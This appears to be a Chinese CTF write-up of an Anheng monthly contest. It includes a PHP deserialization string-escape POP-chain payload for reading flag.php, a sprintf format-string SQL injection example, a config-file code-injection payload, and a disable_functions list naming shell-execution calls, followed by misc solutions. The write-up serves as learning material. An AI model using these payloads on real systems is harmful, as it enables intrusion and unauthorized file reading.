前言

这周有安恒的月赛,

又是膜师傅的一天

学到了一些骚姿势:

web

web1

打开题目发现给出了源码:

show_source("index.php");

function write($data) {

return str_replace(chr(0) . '*' . chr(0), '', $data);

}

function read($data) {

return str_replace('', chr(0) . '*' . chr(0), $data);

}

class A{

public $username;

public $password;

function __construct($a, $b){

$this->username = $a;

$this->password = $b;

}

}

class B{

public $b = 'gqy';

function __destruct(){

$c = 'a'.$this->b;

echo $c;

}

}

class C{

public $c;

function __toString(){

//flag.php

echo file_get_contents($this->c);

return 'nice';

}

}

$a = @new A($_GET['a'],$_GET['b']);

//省略了存储序列化数据的过程,下面是取出来并反序列化的操作

$b = unserialize(read(write(serialize($a))));

我们来分析一下:

function write($data) {

return str_replace(chr(0) . '*' . chr(0), '', $data);

}

function read($data) {

return str_replace('', chr(0) . '*' . chr(0), $data);

}

这个写函数,当反序列化存储的私有成员是,会有chr(0)的出现,所以会对chr(0) . '*' . chr(0)进行一个替换,当读取的时候会对进行一个还原。

看似没有什么问题,但是当我们可以的存储进行wirte()时不会发生改变。但是进行read()时,会变为chr(0) . '*' . chr(0)由六字符变为三字符,可以实现字符逃逸。。。

我们可以明显看到在 read 函数处理后,原先字符中的 被替换成 chr(0).'*'.chr(0),但是字符长度标识不变 。所以在进行反序列化的时候,还会继续向后读取,这样序列化的结果就完全不一样了。

所以来看一下如何构造pop链。

class A{

public $username;

public $password;

function __construct($a, $b){

$this->username = $a;

$this->password = $b;

}

}

class B{

public $b = 'gqy';

function __destruct(){

$c = 'a'.$this->b;

echo $c;

}

}

class C{

public $c;

function __toString(){

//flag.php

echo file_get_contents($this->c);

return 'nice';

}

}

class C存在file_get_contents()函数,可以读取文件内容,可以让$c为flag.php,并且存在__toString()魔术方法。。 class B函数存在echo 那么大致思路就出来了

class A{

public $username;

public $password;

function __construct($a, $b){

$this->username = $a;

$this->password = $b;

}

}

class B{

public $b;

function __destruct(){

$c = 'a'.$this->b;

echo $c;

}

}

class C{

public $c = 'flag.php';

function __toString(){

//flag.php

echo file_get_contents($this->c);

return 'nice';

}

}

$aaa = new A();

$bbb = new B();

$ccc = new C();

$bbb->b=$ccc;

// echo serialize($bbb);

$aaa->password=$bbb;

echo serialize($aaa);

得到O:1:"A":2:{s:8:"username";N;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

因为要造成反序列化逃逸:所以password值为:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

带入反序列化的解果为:O:1:"A":2:{s:8:"username";s:3:"aaa";s:8:"password";s:72:"";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

所以我们要逃逸的字符为:";s:8:"password";s:72:"一共23个字符,但是替换为chr(0) . '*' . chr(0)一次逃逸3个字符,所以要是三的倍数。。所以password为A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

username为24个;

payload:

a=&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

web2

打开页面是一个登陆框:

尝试一下发现存在waf,

于是看一下都过滤了写什么函数。。

发现过滤的挺多的,也挺全的,一时没有了解头绪

看一下源代码,发现了收获,2333

这个%s让我想到了格式化字符串的漏洞。。

上网找到这样的一篇文章参考文章

发现骚姿势,SQL注入可以和格式化字符串一起使用

例如:

$input1 = '%1$c) OR 1 = 1 /*';

$input2 = 39;

$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";

$sql = sprintf($sql, $input2);

echo $sql;

输出为select * from foo where bar in('') or 1=1 /*') and baz=39

%c起到了类似chr()的效果,将数字39转化为',从而导致了sql注入。

我们尝试一下利用这种方法

得到了账户密码

发现是admin用户的密码猜测存在后台,找到了后台的位置/admin

然后进行登陆,发现,这是一个套娃题 。。 淦

这里面对发现了眼熟的代码:

是一个经典的配置文件写入问题漏洞.参考链接

payload:

a';phpinfo();//

然后再shell.php看到了phpinfo()的界面。。

我以为就可以得到flag了。。谁知道有disable_functions

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail

想到了题目给了一个so文件。。猜测是上传so文件来进行提权操作。。。但是尝试了半天无果。。这应该是最后一步了,并且好多人在搅屎

最后两分钟有大佬拿到了一血

tql。

MISC

blueshark

打开题目,发现这是一个蓝牙协议:

发现存在一个7z的压缩包。提示压缩包密码为PIN码

一个骚操作将pcap文件后缀改为zip可以得到这个压缩包。。。

然后找到了PIN码的流量,得到PIN码

打开压缩包,得到flag

6G还远吗?

刚开始发现是下载的779MB的文件,就点击下载了,然后去看别的题目了,但是过一会发现这个下载速度不对呀。。意识到事情有一丝丝的不对。。嘿嘿

暂停下载找到下载的临时文件打开得到了flag

总结

这次月赛,学到了一些新知识,以及骚操作

大佬们都tql。。。

参考链接

安恒赛php_安恒四月赛部分Writeup相关推荐

  1. 安恒赛php_安恒11月月赛周周练writeup

    前言 11月月赛 完美错过时间,正好有周周练,基本都是一样月赛的web,记录下write up 手速要快 这题是10月月赛中的一题,直接看我上次的writeup:安恒月赛(十)web-2题writeu ...

  2. CTF-安恒19年二月月赛部分writeup

    CTF-安恒19年二月月赛部分writeup MISC1-来玩个游戏吧 题目: 第一关,一眼可以看出是盲文,之前做过类似题目 拿到在线网站解一下 ??41402abc4b2a76b9719d91101 ...

  3. 轨道阱 matlab,赛默飞四极杆-轨道阱液质联用仪核心参数详解

    1) 离子源 Orbitrap Fusion配置的是赛默飞新一代的Easy Max NG离子源,具有加热型HESI源和APCI源一体化设计,只需要更换喷针即可实现ESI源和APCI源的切换.Easy ...

  4. 2017全国电赛综合测评四分频电路(一片D触发器74LS74的两种方法,有图有真相,实测波形图)

    在"2017 年全国大学生电子设计竞赛综合测评题"的<复合信号发生器>中出现的要求使用1片HD74LS74搭建四分频电路,以下是两种解决方案: 使用2个D触发器(1片7 ...

  5. ctfshow 吃瓜杯八月赛 Misc WriteUp

    目录 1.Misc游戏签到 2.吃瓜 3.EZbingo 4.魔王 5.Dinner of Cyanogen 6.Music Game 7.一群强盗 1.Misc游戏签到 别问 问就是玩游戏 套神说的 ...

  6. 电赛总结(四)——波形发生芯片总结之AD9851

    一.特性参数 1.180 MHz时钟速率参考时钟具有6倍倍乘器.芯片具有高性能10位DAC和高速滞后比较器 2.+2.7 V至+5.25 V单电源工作 3.正常输出工作频率范围为 0-72MHz ; ...

  7. mlf机器人无限制格斗_花椒直播MLF机器人无限制格斗赛 直击“电磁炮”四连胜成功夺冠...

    4月8日-9日,2017年无限制机器人职业格斗联赛MLF(Major League FMB)揭幕战在北京上演,花椒全程直播.两天时间中,来自全国各地的十二支顶尖级格斗机器人俱乐部齐聚一堂,为网友带来紧 ...

  8. 2022年认证杯(小美赛)ABCD四题已出

    我团队已经给出ABCD四题的所有解析,感兴趣的同学可 点击这里 持续更新,欢迎私信公众号:知文竞赛! A题 翼龙是翼龙目中已灭绝的飞行爬行动物分支.它们存在于中生代的大部分时间:从晚三叠世到白垩纪末. ...

  9. [补档]noip2019集训测试赛(十四)

    Problem A: Fibonacci(fib.pas/cpp) Time Limit: 1000 ms Memory Limit: 128 MB Description 豆豆最近迷上了Fibona ...

  10. 17年电赛综合测评——四分频电路

    目录 D触发器科普: 思路: 仿真图如下: D触发器科普: 触发器是时序逻辑电路的基本单元,用来存储1位2进制信息,具有记忆和存储功能,其信息由双稳态电路来保存.触发器位脉冲边缘敏感器间,分为上升沿敏 ...

最新文章

  1. YunOS 对比 Android 两者究竟有何区别
  2. 2014编程之美热身赛 - 传话游戏
  3. Rustup 管理工具
  4. 堆、栈及静态数据区详解 转
  5. 【转】在树莓派上实现人脸识别
  6. l2tp连接尝试失败 因为安全层在初始化_线程安全互斥锁
  7. 哪些年给我们留下记忆的IT站点
  8. MATLAB中unwrap函数
  9. 女朋友想进高校当老师,其实中学老师更适合他
  10. Linux中文件权限查看和修改
  11. 【PHP学习】—get请求传递参数(五)
  12. 让网络更轻盈——网络功能虚拟化技术的现状和未来(中兴通讯)
  13. lastLogon和lastLogonTimestamp的区别
  14. 红外条码扫描器的另类使用C#版
  15. js获取url参数值的几种方式
  16. 无法启动WORKSTATION服务解决方案
  17. 实现全站http到https的301转向(实测有用)
  18. 大数据十年回顾(3):社区技术生态发展
  19. 目前最流畅的android手机,目前公认最流畅的4大手机系统,第一当之无愧,用三年不卡顿!...
  20. 天影字幕高清视频教程

热门文章

  1. Mac Brew Uninstall MySql
  2. LocalDateTime计算两个日期时间差
  3. 在删除 maven 聚合工程里面的一个子项目的时候,启动项目报错:XXXpom.xml does not exist
  4. mysql 出现ERROR 2002 (HY000): ....错误通用解决方法
  5. BZOJ1001: [BeiJing2006]狼抓兔子 (最小割)
  6. angular.js双向数据绑定实现动画特效
  7. Android.InstallAntOnMacOSX
  8. 图解 | 深入揭秘 epoll 是如何实现 IO 多路复用的!
  9. AES-GCM加密算法
  10. 要搞懂 volatile 关键字,就靠这 26 张图